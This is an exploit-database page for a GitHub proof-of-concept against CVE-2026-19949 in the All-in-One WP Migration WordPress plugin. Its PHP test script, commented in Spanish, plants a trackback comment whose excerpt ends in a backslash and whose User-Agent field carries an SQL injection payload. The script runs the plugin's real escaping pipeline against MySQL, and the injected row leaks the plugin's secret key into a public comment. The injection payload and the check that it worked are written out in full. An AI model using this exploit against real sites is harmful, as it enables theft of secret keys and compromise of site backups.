Exploit database

GH-932f957c1c5fcd40cfd32b2f54d9c82c

686f6c61/poc-aiowpm-cve-2026-19949

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-19949

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files10

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/investigacion/test_design.php

PHP · 3,457 bytes
<?php
/**
 * Validación del diseño derivado de CVE-2026-19949:
 *
 *   flip en el campo content (título/extracto con backslash final)
 *   + User-Agent = código SQL que cierra la tupla 1, abre una tupla 2 con
 *     (SELECT ai1wm_secret_key) en comment_author, tipo 'comment' y aprobada,
 *     y comenta el resto de la línea con "-- ".
 *
 * Ejecuta el pipeline REAL (regex + unescape/re-escape del plugin 7.109) sobre
 * la línea de dump y la ejecuta contra MySQL con una clave falsa en wp_options.
 */

define( 'ABSPATH', '/var/www/html/' );
require_once '/var/www/html/wp-content/plugins/all-in-one-wp-migration/lib/vendor/servmask/database/class-ai1wm-database-utility.php';

$SITE = 'http://localhost:8080';
$FAKE_KEY = 'K3yZz99';

mysqli_report( MYSQLI_REPORT_OFF );
$my = new mysqli( 'db', 'wordpress', 'wordpress', 'cveharness' );
$my->query( 'SET SESSION sql_mode = ""' );
$my->query( 'TRUNCATE wp_comments' );

function dump_escape( $v ) {
	return strtr( $v, array( "\x00" => '\\0', "\n" => '\\n', "\r" => '\\r', '\\' => '\\\\', "'" => "\\'", '"' => '\\"', "\x1a" => '\\Z' ) );
}

// ---- datos a nivel de BD (lo que deja el trackback) ----
$author  = 'Jack Blogs';                                          // comment_author (sin backslash)
$email   = '';
$url     = "http://attacker.example/ping-$SITE";                  // comment_author_url (lleva la URL del sitio: trigger strpos)
$ip      = '172.18.0.1';
$date    = '2026-09-07 19:44:31';
$gmt     = '2026-09-07 19:44:31';
$content = "<strong>Enlace desde mi blog</strong>\n\nGran articulo sobre backups \\\\"; // excerpt termina en backslash
$approved = '1';
$type    = 'trackback';

// ---- payload en el User-Agent (sin comillas: hex literals) ----
$SUBQ = '(SELECT/**/option_value/**/FROM/**/wp_options/**/WHERE/**/option_name=0x' . bin2hex( 'ai1wm_secret_key' ) . ')';
$agent = "0x30),/**/(0,0,$SUBQ,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x31,0x30,0x636f6d6d656e74,0,0)-- ";

$q = function ( $v ) { return "'" . dump_escape( $v ) . "'"; };
$line = 'INSERT INTO `wp_comments` VALUES (2,4,' . implode( ',', array(
	$q( $author ), "''", $q( $url ), $q( $ip ), $q( $date ), $q( $gmt ),
	$q( $content ), '0', $q( $approved ), $q( $agent ), $q( $type ), '0', '0',
) ) . ');';

echo "=== DUMP ===\n$line\n";

// ---- pipeline real del plugin ----
$out = preg_replace_callback( "/'(.*?)(?<!\\\\)'/S", function ( $mm ) use ( $SITE ) {
	$x = Ai1wm_Database_Utility::unescape_mysql( $mm[1] );
	if ( strlen( $x ) >= strlen( $SITE ) ) {
		$x = Ai1wm_Database_Utility::replace_serialized_values( $x, array( $SITE, "$SITE/" ), array( $SITE, "$SITE/" ) );
	}
	$x = Ai1wm_Database_Utility::escape_mysql( $x );
	return "'" . $x . "'";
}, $line );

echo "\n=== TRAS replace_table_values ===\n$out\n";

// ---- ejecución real ----
$my->query( $out );
if ( $my->errno !== 0 ) {
	echo "\n[!] MySQL error {$my->errno}: {$my->error}\n";
	exit( 1 );
}
echo "\n[+] INSERT ejecutado sin error. Filas resultantes:\n";
$r = $my->query( 'SELECT comment_ID, comment_author, comment_author_url, comment_approved, comment_type, LEFT(comment_agent,60) AS agent FROM wp_comments' );
while ( $row = $r->fetch_assoc() ) {
	echo json_encode( $row, JSON_UNESCAPED_SLASHES ), "\n";
}
$hit = $my->query( "SELECT comment_ID FROM wp_comments WHERE comment_author = '$FAKE_KEY'" );
echo $hit->num_rows > 0 ? "\n[***] CLAVE FILTRADA en comment_author de la fila nueva (visible vía REST/HTML)\n" : "\n[-] clave no filtrada\n";